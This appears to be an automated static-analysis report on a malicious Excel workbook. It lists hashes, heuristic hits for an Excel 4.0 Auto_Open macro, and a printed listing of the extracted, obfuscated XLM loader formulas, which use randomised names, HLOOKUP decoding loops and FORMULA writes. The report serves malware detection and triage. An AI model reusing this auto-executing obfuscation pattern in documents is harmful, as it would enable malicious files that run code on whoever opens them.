Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aebcf258d7e611c1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:10 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 6138ab53e10870f3dfcc8f26442f4117 SHA-1: 1b46dbb160adeb4a1f86ba09cded02d34f2b49a3 SHA-256: aebcf258d7e611c15da080100291d6a33f5879cf9149bddee47536ec5d83cfa4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6673 bytes
SHA-256: b91c7fb03814c6acaa40af6842d499e4afcedfaf927e3ebf46b821ed88029c01
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kvgpsqMmefb
' 0018     27 LABEL : Cell Value, String Constant - aaIZLxCNcYje len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H158 
' 0018     25 LABEL : Cell Value, String Constant - baRbUahkcV len=0 
' 0018     20 LABEL : Cell Value, String Constant - CnZgn len=0 
' 0018     21 LABEL : Cell Value, String Constant - CztzQg len=0 
' 0018     20 LABEL : Cell Value, String Constant - DGreC len=0 
' 0018     24 LABEL : Cell Value, String Constant - EcBprPsFe len=0 
' 0018     24 LABEL : Cell Value, String Constant - FjrIRStuj len=0 
' 0018     22 LABEL : Cell Value, String Constant - IblLFFG len=0 
' 0018     22 LABEL : Cell Value, String Constant - IgeftiP len=0 
' 0018     25 LABEL : Cell Value, String Constant - iuIZHrXPwC len=0 
' 0018     22 LABEL : Cell Value, String Constant - pjOJZsG len=0 
' 0018     21 LABEL : Cell Value, String Constant - qEGWZY len=0 
' 0018     26 LABEL : Cell Value, String Constant - QLsXAbbbPjr len=0 
' 0018     21 LABEL : Cell Value, String Constant - sbbQqG len=0 
' 0018     22 LABEL : Cell Value, String Constant - tXJvSQk len=0 
' 0018     25 LABEL : Cell Value, String Constant - wixIUrtUaR len=0 
' 0018     27 LABEL : Cell Value, String Constant - XofrChdpqSNE len=0 
' 0018     22 LABEL : Cell Value, String Constant - yEHeBnm len=0 
' 0018     20 LABEL : Cell Value, String Constant - yVWcu len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZakcsjBwjw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kvgpsqMmefb,H69,"SET.NAME("baRbUahkcV",VALUE("0"))",""
'  kvgpsqMmefb,H74,"SET.NAME("sbbQqG",baRbUahkcV)",""
'  kvgpsqMmefb,H76,"SET.NAME("yVWcu",baRbUahkcV)",""
'  kvgpsqMmefb,H79,"SET.NAME("XofrChdpqSNE",COUNTA(QLsXAbbbPjr))",""
'  kvgpsqMmefb,H84,"SET.NAME("FjrIRStuj",COUNTA(DGreC))",""
'  kvgpsqMmefb,H86,[],""
'  kvgpsqMmefb,H91,"SET.NAME("tXJvSQk","")",""
'  kvgpsqMmefb,H95,"sbbQqG",""
'  kvgpsqMmefb,H99,"SET.NAME("iuIZHrXPwC",HLOOKUP("*",QLsXAbbbPjr,sbbQqG,FALSE))",""
'  kvgpsqMmefb,H103,"pjOJZsG",""
'  kvgpsqMmefb,H106,"SET.NAME("ZakcsjBwjw",baRbUahkcV)",""
'  kvgpsqMmefb,H111,[],""
'  kvgpsqMmefb,H113,"ZakcsjBwjw",""
'  kvgpsqMmefb,H118,"CnZgn",""
'  kvgpsqMmefb,H122,"aaIZLxCNcYje",""
'  kvgpsqMmefb,H124,"IblLFFG",""
'  kvgpsqMmefb,H127,"SET.NAME("yEHeBnm",VALUE(HLOOKUP("*",DGreC,IblLFFG,FALSE)))",""
'  kvgpsqMmefb,H131,"EcBprPsFe",""
'  kvgpsqMmefb,H133,"tXJvSQk",""
'  kvgpsqMmefb,H136,"yVWcu",""
'  kvgpsqMmefb,H139,NEXT(),""
'  kvgpsqMmefb,H144,"IgeftiP",""
'  kvgpsqMmefb,H146,"SET.NAME("f",INT(T(FORMULA(T(tXJvSQk)&"",""&T(IgeftiP)))))",""
'  kvgpsqMmefb,H150,"CztzQg",""
'  kvgpsqMmefb,H153,NEXT(),""
'  kvgpsqMmefb,H156,RETURN(),""
'  kvgpsqMmefb,H180,"SET.NAME("wixIUrtUaR",H69)",""
'  kvgpsqMmefb,H183,"QLsXAbbbPjr",""
'  kvgpsqMmefb,H187,"SET.NAME("DGreC",R83C12)",""
'  kvgpsqMmefb,H191,"SET.NAME("CztzQg",198)",""
'  kvgpsqMmefb,H194,"SET.NAME("qEGWZY",8)",""
'  kvgpsqMmefb,H197,wixIUrtUaR(),""
'  kvgpsqMmefb,H198,HALT(),""

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